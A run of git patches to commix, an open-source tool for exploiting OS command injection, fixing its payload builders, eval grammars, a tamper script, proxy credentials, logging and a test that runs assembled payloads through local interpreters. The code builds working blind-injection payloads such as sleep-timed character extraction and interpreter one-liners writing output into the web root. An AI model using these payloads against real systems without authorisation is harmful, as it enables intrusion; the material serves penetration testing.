'~'. + +A byte under the pool's first character is the same answer from the other end: it answers no to +every member, so the halving settles on nothing at all rather than on a character stood in for. """ -def _confirmed(channel, cmd, position, payloads, candidate, pool_high): +def _confirmed(channel, cmd, position, payloads, candidate, pool_low, pool_high): + exact = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-eq") + question = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-le") + # Nothing the pool holds was answered yes to, so the byte sits below the first of them. if candidate is None: + if pool_low <= settings.LOWEST_BYTE or not checks.char_pool_expands(): + return None + below = _bisect(channel, question, settings.LOWEST_BYTE, pool_low - 1) + if below is not None and _ask(channel, exact(below)): + return below return None - exact = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-eq") if _ask(channel, exact(candidate)): return candidate # Only the pool's own last character can be standing in for something above it, and only a pool # of commix's own is widened to go looking: a byte outside one the user wrote out was not asked for. if candidate != pool_high or not checks.char_pool_expands(): return None - question = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-le") above = _bisect(channel, question, pool_high + 1, settings.HIGHEST_BYTE) if above is not None and _ask(channel, exact(above)): return above diff --git a/src/utils/settings.py b/src/utils/settings.py index 437ed65ad2..3f768cef6d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "270" +REVISION = "271" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -876,6 +876,8 @@ class OS(object): # The largest ordinal a byte can be. The pools below stop at printable ASCII, which is what output # mostly is - a byte above that is searched for only once the pool has been ruled out. HIGHEST_BYTE = 255 +# The smallest, for a byte that sits under the pool's first character the same way. +LOWEST_BYTE = 0 # How a byte the page's own encoding cannot read is written down instead, so that it is still the # byte that was sent - and the error handler that writes it that way. From 625c0c46e4257c457774e39bd896307397eaab03 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 30 Oct 2026 06:26:35 +0200 Subject: [PATCH 0943/1023] Fixed the tempfile-based payload for an evaluated language and the "cmd2wildcard" tamper script, which could produce a payload the language refuses to evaluate or a URL rewritten as a path --- src/core/eval/grammars/ruby.py | 9 ++- src/core/eval/payloads/tempfile_based.py | 14 +++- src/tamper/obfuscation/posix/cmd2wildcard.py | 10 ++- src/utils/settings.py | 2 +- tests/test_grammars.py | 82 ++++++++++++++++++++ 5 files changed, 107 insertions(+), 10 deletions(-) diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py index e1e0cc7636..022dc247bd 100644 --- a/src/core/eval/grammars/ruby.py +++ b/src/core/eval/grammars/ruby.py @@ -152,12 +152,13 @@ def halt(condition): """ Evaluate one expression and then another, within a single expression. -Concatenation, the same trick the PHP grammar uses: the first expression here is always a command -whose own output was redirected to a file rather than captured, so what it evaluates to is empty, -and concatenating it onto the second leaves that second value exactly as it was. +An array of the two, read back at its second element: both are evaluated, left to right, and the +value is the second one's. Concatenation is what the PHP grammar writes here, but this language +adds no Integer onto a String, and the second expression is as often a 'sleep' answering with one +as it is a string. """ def sequence(first, second): - return first + "+" + second + return "[" + first + "," + second + "][1]" # The shell's comparison operators, as this language spells them. COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} diff --git a/src/core/eval/payloads/tempfile_based.py b/src/core/eval/payloads/tempfile_based.py index 15c3753cc9..ca0b6a4a5a 100644 --- a/src/core/eval/payloads/tempfile_based.py +++ b/src/core/eval/payloads/tempfile_based.py @@ -39,16 +39,22 @@ def _end(separator): return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" # Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. -def _conditional_sleep(condition, timesec, separator): +def _sleep(condition, timesec): # Whole seconds: the delay is counted in them, and a fractional one only reads as noise. - return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + _end(separator) + return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + +def _conditional_sleep(condition, timesec, separator): + return _sleep(condition, timesec) + _end(separator) # Write the output to the file and measure what landed there. Joined by the language's concatenation # operator, since what the boundary breaks into is an expression rather than a statement. def _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, operator): condition = str(j) + operator + settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) - return settings.EVAL_GRAMMAR.sequence(_write(cmd, OUTPUT_TEXTFILE), - _conditional_sleep(condition, timesec, separator)) + # The terminator ends the whole expression, so it is appended once the sequence has closed around + # both halves - carried inside, it would sit within the call or the tuple that wrapping writes. + payload = settings.EVAL_GRAMMAR.sequence(_write(cmd, OUTPUT_TEXTFILE), + _sleep(condition, timesec)) + return payload + _end(separator) """ Tempfile-based decision payload (check if host is vulnerable). diff --git a/src/tamper/obfuscation/posix/cmd2wildcard.py b/src/tamper/obfuscation/posix/cmd2wildcard.py index 70ff178e2c..51a4469f49 100644 --- a/src/tamper/obfuscation/posix/cmd2wildcard.py +++ b/src/tamper/obfuscation/posix/cmd2wildcard.py @@ -58,7 +58,15 @@ def _wildcard_path(match): # The command with its paths spelled as globs, for the target to match back to the file. def rewrite_command(command): - wildcard_cmd = re.sub(WILDCARD_PATH, _wildcard_path, command) + # One word at a time, so the spacing is left as it was and a URL among them is passed over whole: + # what follows a scheme names nothing on the filesystem, so a glob written over it matches no file + # and the shell hands the word on spelled exactly as the glob left it. + def _word(match): + word = match.group(0) + if "://" in word: + return word + return re.sub(WILDCARD_PATH, _wildcard_path, word) + wildcard_cmd = re.sub(r"\S+", _word, command) # A command naming no path of its own has nothing here that a glob could stand in for, and # saying so once is worth more than leaving the script looking like it did something. if wildcard_cmd == command: diff --git a/src/utils/settings.py b/src/utils/settings.py index 3f768cef6d..9db5fa69ae 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "271" +REVISION = "272" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_grammars.py b/tests/test_grammars.py index 707f290b3e..d79ee4fe98 100644 --- a/tests/test_grammars.py +++ b/tests/test_grammars.py @@ -15,7 +15,10 @@ import os import glob +import shutil +import tempfile import importlib +import subprocess import unittest @@ -73,5 +76,84 @@ def test_no_grammar_offers_a_shell_separator(self): offenders.append(name + ": " + repr(separator)) self.assertEqual([], offenders) +""" +How each language is asked to evaluate the payload left in the file named by 'COMMIX_PAYLOAD'. + +Python is told which mode to read it in: an expression where the sink carried no terminator, a +statement where it did, which is the difference 'eval()' and 'exec()' make on the target itself. +""" +EVALUATORS = { + "python": ["python3", "-c", + "import os;src=open(os.environ['COMMIX_PAYLOAD']).read();" + "exec(compile(src,'payload',os.environ['COMMIX_MODE']))"], + "perl": ["perl", "-e", + "open my $f,'<',$ENV{COMMIX_PAYLOAD} or die;my $c=do{local $/;<$f>};eval $c;die $@ if $@;"], + "ruby": ["ruby", "-e", "eval(File.read(ENV['COMMIX_PAYLOAD']))"], + "lua": ["lua", "-e", "local f=io.open(os.getenv('COMMIX_PAYLOAD'));local s=f:read('*a');" + "assert(load('return '..s) or load(s))()"], + "php": ["php", "-r", "eval(file_get_contents(getenv('COMMIX_PAYLOAD')));"], + "javascript": ["node", "-e", + "eval(require('fs').readFileSync(process.env.COMMIX_PAYLOAD,'utf8'))"], + "powershell": ["pwsh", "-NoProfile", "-Command", + "Invoke-Expression (Get-Content -Raw $env:COMMIX_PAYLOAD)"], +} + +class GrammarPayloads(unittest.TestCase): + """ + What a grammar declares is one thing; what a technique builds out of it is another. The payload is + assembled here and handed to the interpreter itself, which is the only thing that can say whether + the language reads it - that the wrapping closes, that the terminator falls outside it, and that + the two halves are of types the language will put together. + + A language with no interpreter on this host is passed over rather than failed. + """ + def _evaluate(self, name, grammar, separator, work): + from src.utils import settings + from src.core.eval.payloads import tempfile_based as payloads + settings.EVAL_GRAMMAR = grammar + written = os.path.join(work, "output_" + name + ".txt") + tag = "TAG" + name[:3].upper() + # No delay at all: what is read here is whether the expression holds together, not how long for. + payload = payloads.decision(separator, len(tag), tag, written, 0, "GET") + path = os.path.join(work, "payload_" + name + ("_statement" if separator else "_expression")) + with open(path, "w") as handle: + handle.write(payload) + environment = dict(os.environ, COMMIX_PAYLOAD=path, + COMMIX_MODE="exec" if separator else "eval") + done = subprocess.run(EVALUATORS[name], capture_output=True, text=True, + timeout=60, env=environment) + return done, written, tag + + def test_a_payload_is_something_its_own_language_can_read(self): + from src.utils import settings + previous = getattr(settings, "EVAL_GRAMMAR", None) + offenders, reached = [], [] + try: + with tempfile.TemporaryDirectory() as work: + for name, grammar in sorted(grammars().items()): + argv = EVALUATORS.get(name) + if not argv or not shutil.which(argv[0]): + continue + reached.append(name) + for separator in ("", grammar.TERMINATOR): + shape = "statement" if separator else "expression" + done, written, tag = self._evaluate(name, grammar, separator, work) + if done.returncode != 0: + complaint = (done.stderr or "").strip().splitlines() + offenders.append(name + " (" + shape + "): " + + (complaint[0][:120] if complaint else "exited " + str(done.returncode))) + continue + landed = "" + if os.path.isfile(written): + with open(written) as handle: + landed = handle.read() + if tag not in landed: + offenders.append(name + " (" + shape + "): the command never wrote its output") + finally: + settings.EVAL_GRAMMAR = previous + if not reached: + self.skipTest("none of the evaluated languages are installed on this host") + self.assertEqual([], offenders) + if __name__ == "__main__": unittest.main() From c0f7ebc9290612879331845ec5f317877037a816 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:18:49 +0200 Subject: [PATCH 0944/1023] Fixed command execution through `--alter-shell` with the "backticks" tamper script, which could answer with the command itself rather than its output --- src/core/techniques/file_based/fb_payloads.py | 7 +++++-- src/core/techniques/results_based/rb_payloads.py | 6 ++++-- src/utils/settings.py | 2 +- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index 4e14b4df82..a97b149099 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -145,9 +145,12 @@ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): else: settings.USER_APPLIED_CMD = cmd cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + # Written as the one substitution the output arrives on, the way this technique's own command is: + # a second around it nests, which backticks cannot do, and the interpreter prints nothing for an + # outer one to carry back anyway. payload = (separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + - settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + + cmd_exec + "')\nf.close()\n\"" ) payload = checks.terminate_payload(payload, separator) diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index 105970bb8c..5b36460889 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -155,9 +155,11 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): else: settings.USER_APPLIED_CMD = cmd cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + # The output goes in as it stands: a second substitution around it nests, which backticks cannot + # do, and the 'echo' that was between them reads the backslashes of any shell whose builtin does. payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'+'" + TAG + "'+'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'+'" + + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'+'" + TAG + "'+'" + cmd_exec + "'+'" + TAG + "'+'" + TAG + "')\"" ) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9db5fa69ae..14b48fcc46 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "272" +REVISION = "273" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a59a54664e7531a90623bfcaad17e16d668d7042 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:20:24 +0200 Subject: [PATCH 0945/1023] Improved "Brotli" decompression to stop at the run's page limit, as the other content encodings already do --- src/core/controller/checks.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 164cf28c92..1a63e9baed 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1272,7 +1272,9 @@ def decompress_page(body, content_encoding): elif content_encoding == "br": if settings.BROTLI_DECODER is None: raise ValueError("no brotli decoder available") - body = settings.BROTLI_DECODER.decompress(body) + # Bounded where it is read, the way the encodings around it are: the decoder's own ceiling is + # a default of its own, and the two part as soon as what this run will read moves off it. + body = settings.BROTLI_DECODER.decompress(body, cap + 1) if len(body) > cap: raise ValueError("size too large") elif content_encoding == "zstd": diff --git a/src/utils/settings.py b/src/utils/settings.py index 14b48fcc46..6d97c95c81 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "273" +REVISION = "274" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3e45ea4b0fe7d870afb84cd5a17f27cb3cce8a7d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:21:58 +0200 Subject: [PATCH 0946/1023] Fixed use of a proxy list, `--check-tor`, the logging of several targets and the reading of a JSON Web Token, which could send one proxy's credentials to the next, leave a target's log without its header, or drop a target from the scan --- src/core/options.py | 11 ++++++----- src/core/requests/proxy.py | 13 +++++++++---- src/core/requests/tor.py | 2 +- src/utils/jwt_audit.py | 4 +++- src/utils/logs.py | 11 ++++++++--- src/utils/settings.py | 11 ++++++++--- 6 files changed, 35 insertions(+), 17 deletions(-) diff --git a/src/core/options.py b/src/core/options.py index 01e70e3bdc..29cc315a24 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -193,11 +193,12 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) - if not menu.options.proxy: - # Check if defined Tor (--tor option). - if menu.options.tor: - tor.set_proxy_settings() - tor.do_check() + # Check if defined Tor (--tor option). + if menu.options.tor: + tor.set_proxy_settings() + # Asked for either way: '--check-tor' is allowed alongside '--proxy', where the proxy given is + # the Tor front end itself, and gating the check on '--tor' left that spelling checking nothing. + tor.do_check() if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' switch is unlikely to work combined with the '--flush-session' switch." diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 8e6cf93c2a..a52455a59b 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -47,6 +47,8 @@ def load_proxy_list(): info_msg = "Loaded " + str(len(settings.PROXY_LIST)) + " prox" + ("ies" if len(settings.PROXY_LIST) != 1 else "y") info_msg += " from the '" + os.path.split(menu.options.proxy_file)[1] + "' file." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Kept before the first entry is put in place, since that is what overwrites it. + settings.PROXY_LIST_CRED = menu.options.proxy_cred apply_proxy_from_list() """ @@ -58,9 +60,10 @@ def apply_proxy_from_list(): scheme, cred, address, port = settings.PROXY_LIST[settings.PROXY_LIST_INDEX % len(settings.PROXY_LIST)] settings.PROXY_SCHEME = scheme menu.options.proxy = address + ":" + port - # Credentials written next to the proxy itself outrank '--proxy-cred', which speaks for the rest. - if cred: - menu.options.proxy_cred = cred + # Credentials written next to the proxy itself outrank '--proxy-cred', which speaks for the rest - + # and only for this entry, or the one that carried them would go on authenticating to every proxy + # after it, which is one host's password handed to another. + menu.options.proxy_cred = cred or settings.PROXY_LIST_CRED configure() """ @@ -154,7 +157,9 @@ def use_proxy(request): opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) elif menu.options.tor and menu.options.tor_type == settings.PROXY_TYPE.HTTP: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:menu.options.proxy}) + # Both schemes, not the target's own: this runs before a target has been read, and a handler + # keyed on the empty scheme that leaves is one urllib drops - the request then goes out direct. + proxy = _urllib.request.ProxyHandler({"http":menu.options.proxy, "https":menu.options.proxy}) opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) else: diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 46449bb249..e85d1ffbc5 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -28,7 +28,7 @@ def find_local_port(ports): probe = None try: try: - probe = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) + probe = socks._orig_socket(socket.AF_INET, socket.SOCK_STREAM) except AttributeError: probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) probe.settimeout(settings.TIMEOUT) diff --git a/src/utils/jwt_audit.py b/src/utils/jwt_audit.py index 7c1c664021..85f144ce11 100644 --- a/src/utils/jwt_audit.py +++ b/src/utils/jwt_audit.py @@ -129,7 +129,9 @@ def audit(token): return findings header, payload = data["header"], data["payload"] - algorithm = (header.get("alg") or "").strip() + # A header is only promised to be an object, so an 'alg' that is not a string names no algorithm. + algorithm = header.get("alg") + algorithm = algorithm.strip() if isinstance(algorithm, str) else "" # An unsigned token the target itself issued means its claims need no key to restate. if algorithm.lower() == "none" or data["signature"] == "": diff --git a/src/utils/logs.py b/src/utils/logs.py index e8e0f6af76..cac96b26a4 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -115,8 +115,10 @@ def create_log_file(url, output_dir): started = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") settings.REPORT_STARTED = settings.REPORT_STARTED or started try: - with open(filename, 'w' if menu.options.flush_session else 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: + # Opened only where there is something to write: '--no-logging' asks for the file to be left + # alone, and opening it to write nothing is what empties the one an earlier run filled. + if not menu.options.no_logging: + with open(filename, 'w' if menu.options.flush_session else 'a', encoding=settings.DEFAULT_CODEC) as output_file: output_file.write("Target: " + url + " (" + http_request_method + ")" + settings.END_LINE.LF) output_file.write("Command: " + command + settings.END_LINE.LF) output_file.write("Started: " + started + settings.END_LINE.LF) @@ -136,7 +138,10 @@ def create_log_file(url, output_dir): # stands for no target yet, and is written over rather than collected. if _REPORT_HELD_A_TARGET[0] and report_active() and settings.REPORT_JSON.get("target"): finished = settings.REPORT_JSON - finished.setdefault("status", settings.REPORT_STATUS_COMPLETED) + # The target is being put away, so it is no longer the one running - said outright rather than + # left to 'setdefault', which never fires on a key the report is opened carrying. + if finished.get("status") == settings.REPORT_STATUS_RUNNING: + finished["status"] = settings.REPORT_STATUS_COMPLETED finished.setdefault("finished", str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S")) settings.REPORT_TARGETS.append(finished) settings.REPORT_JSON = { diff --git a/src/utils/settings.py b/src/utils/settings.py index 6d97c95c81..8ea79ebfa8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "274" +REVISION = "275" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2435,6 +2435,8 @@ class END_LINE: # The proxies read from '--proxy-file', and which of them is in use. PROXY_LIST = [] PROXY_LIST_INDEX = 0 +# What '--proxy-cred' was given as, for the entries of the list that carry none of their own. +PROXY_LIST_CRED = None # The request '--safe-req' was given, parsed once and replayed as it was written. SAFE_REQUEST = None @@ -2939,8 +2941,11 @@ class END_LINE: # Counted or noted for the run as a whole. "CRAWLED_SKIPPED_URLS_NUM", "CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "REGISTRY_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", - "HTTP_ERROR_CODES_SUM", "IDENTIFIED_WARNINGS", "INIT_TEST", "LAST_DOT_BUCKET", "LAST_LOG_GROUP", - "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", + # 'LAST_LOG_GROUP', 'LAST_LOGGED_PARAMETER' and 'LOGGED_FINDINGS_HEADER' are deliberately absent: + # each target writes a log file of its own, so what has already been written to one says nothing + # about the next, and carried over they cost the second its header and its parameter line. + "HTTP_ERROR_CODES_SUM", "IDENTIFIED_WARNINGS", "INIT_TEST", "LAST_DOT_BUCKET", + "LAST_SELECTED_MODULE", "LIKELY_RESUME", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", From 9bf243a8bac7395f5775be4c58002f63f332adbd Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:23:13 +0200 Subject: [PATCH 0947/1023] Fixed skip the nested command-substitution form in time-based and tempfile-based alternative-interpreter payloads when the shell cannot nest it --- src/core/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/techniques/time_based/tb_payloads.py | 8 ++++---- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 8834810131..8ef404fa2b 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -281,7 +281,7 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, ) else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "\n", "\r\n") : + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): payload = (separator + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + separator + # Find the length of the output, using readline(). diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 66c90ab7a7..9a7ddd504b 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -419,7 +419,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "\n", "\r\n"): + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + @@ -510,7 +510,7 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "\n", "\r\n"): + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): payload = (separator + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX @@ -627,7 +627,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "\n", "\r\n"): + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX @@ -663,7 +663,7 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese payload = checks.windows_probe(chain, cmd, "==", ascii_char, timesec) else: - if separator in (";", "\n", "\r\n"): + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX diff --git a/src/utils/settings.py b/src/utils/settings.py index 8ea79ebfa8..e8fbe1d1b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "275" +REVISION = "276" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e80173ff2d911f29eba4533b9cfabd3a5d41e71f Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:23:34 +0200 Subject: [PATCH 0948/1023] Trivial update --- doc/CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b067a306bb..430da28436 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,7 @@ ## Version 4.2 (TBA) +* Fixed: Payload generation for certain separator and tamper script combinations, which could produce a payload the shell cannot run. * Fixed: Retrieval of non-ASCII execution output, which could come back incomplete. -* Added: An offline unit-test suite, run with `python -m unittest discover -s tests -t .`. +* Added: An offline test suite, run with `python -m unittest discover -s tests -t .`, covering the payload builders, the tamper scripts, the evaluator grammars and the word lists. * Added: New tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED`. * Added: New `--eval=lua` support, for a sink evaluating Lua. * Added: New `--eval=perl` support, for a sink evaluating Perl. From a4aa8b9fa3faf1422880775577d683c2f4a526d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:24:21 +0200 Subject: [PATCH 0949/1023] Fixed several issues regarding abbreviated option (`-z`) expansion, `--skip-empty` handling, and request-file (`-r`) header parsing --- src/core/parse/cmdline.py | 6 +++--- src/core/parse/request.py | 4 ++-- src/core/requests/parameters.py | 12 ++++++++---- src/utils/settings.py | 2 +- 4 files changed, 14 insertions(+), 10 deletions(-) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 1a9746bcf2..b5e6443c54 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1242,8 +1242,8 @@ def truncate_option_strings(self, *args): How much of an option's name a mnemonic spelled, so that the shortest spelling settles a tie. """ def _mnemonic_length(option, name): - return min(len(spelling.strip("-")) for spelling in option._long_opts + option._short_opts - if spelling.strip("-").startswith(name)) + return min(len(spelling.replace("-", "")) for spelling in option._long_opts + option._short_opts + if spelling.replace("-", "").startswith(name)) """ Expand the short mnemonics of '-z' into the options they name. @@ -1287,7 +1287,7 @@ def expand_mnemonics(mnemonics, parser, options): if len(candidates) > 1: # A mnemonic that is also a name in full means that one; otherwise the shortest name it # could be is taken, and said out loud, because the other readings were just as available. - spelled_out = [_ for _ in candidates if name in [spelling.strip("-") for spelling in _._long_opts + _._short_opts]] + spelled_out = [_ for _ in candidates if name in [spelling.replace("-", "") for spelling in _._long_opts + _._short_opts]] if spelled_out: option = spelled_out[0] else: diff --git a/src/core/parse/request.py b/src/core/parse/request.py index a7171e664f..45f356dbfc 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -228,8 +228,8 @@ def _parse_request(request, request_file): target["referer"] = referer_value if "https://" in referer_value: scheme = "https://" - if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() + if re.findall(r"(?i)" + settings.AUTHORIZATION + 